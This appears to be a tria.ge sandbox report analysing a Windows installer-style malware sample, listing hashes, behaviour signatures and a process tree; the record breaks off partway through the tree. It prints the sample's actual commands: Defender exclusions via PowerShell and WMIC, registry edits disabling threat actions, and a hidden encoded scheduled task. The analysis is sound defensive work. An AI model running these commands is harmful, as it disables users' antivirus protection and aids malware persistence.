Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    170s
  • max time network
    264s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/07/2024, 22:36

General

  • Target

    57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe

  • Size

    7.2MB

  • MD5

    996233a65fee55d8bce4b872e4c117e1

  • SHA1

    95e894cb95f14cf1438e9b8d75a7594dcdaaf4e3

  • SHA256

    57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d

  • SHA512

    d832f158cdab5dc47776d336521942f548259cb6976f0e6bcafa67b6cc221fca58b438fad5829978fe4c97850c64477f953653b8421ed9267734a2352e538d7e

  • SSDEEP

    196608:91OZfn3rm11qJ2sIwxXzRCSQwmWtT7GkZbi0IFZU7P:3OZfn3Cy2pwmwT6kREUb

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
    "C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Users\Admin\AppData\Local\Temp\7zS59E7.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4288
      • C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe
        .\Install.exe /FvdidQpG "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m help.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:924
          • C:\Windows\SysWOW64\cmd.exe
            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1756
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4864
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3196
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /TN "bmQWCxleEgxbTUrSZz" /SC once /ST 22:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe\" xv /qipdidw 525403 /S" /V1 /F
          4⤵
          • Drops file in Windows directory
          • Scheduled Task/Job: Scheduled Task
          PID:4252
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 836 -s 968
          4⤵
          • Program crash
          PID:2900
  • C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe
    C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe xv /qipdidw 525403 /S
    1⤵
    • Executes dropped EXE
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4452
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:508
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:4212
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:1832
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:1264
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:4644
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:4992
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:1964
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:2324
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:4292
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:4408
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:3244
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4888
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1456
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:3132
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4272
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4064
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2540
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2712
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:2156
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2244
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2512
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1080
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4476
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3492
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:2528
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:204
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4652
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4728
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATiuMetuMWHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATiuMetuMWHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IchmcMfQaXUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IchmcMfQaXUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UyPATDbiwjgOC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UyPATDbiwjgOC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VcCVDDBRU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VcCVDDBRU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NonltQQlyMoZtVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NonltQQlyMoZtVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ruCXiJvmKkuTmmIt\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ruCXiJvmKkuTmmIt\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1968
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:3672
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:4144
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:4140
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:2896
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:4372
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:3752
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:4284
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:1300
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4016
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3508
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:2000
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NonltQQlyMoZtVVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4404
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NonltQQlyMoZtVVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2492
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3840
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3632
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4924
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4764
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ruCXiJvmKkuTmmIt /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3636
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ruCXiJvmKkuTmmIt /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4472
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "giObwDDFG" /SC once /ST 21:22:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                    2⤵
                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                    PID:4868
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /run /I /tn "giObwDDFG"
                                                                                                    2⤵
                                                                                                      PID:1400
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /DELETE /F /TN "giObwDDFG"
                                                                                                      2⤵
                                                                                                        PID:3116
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
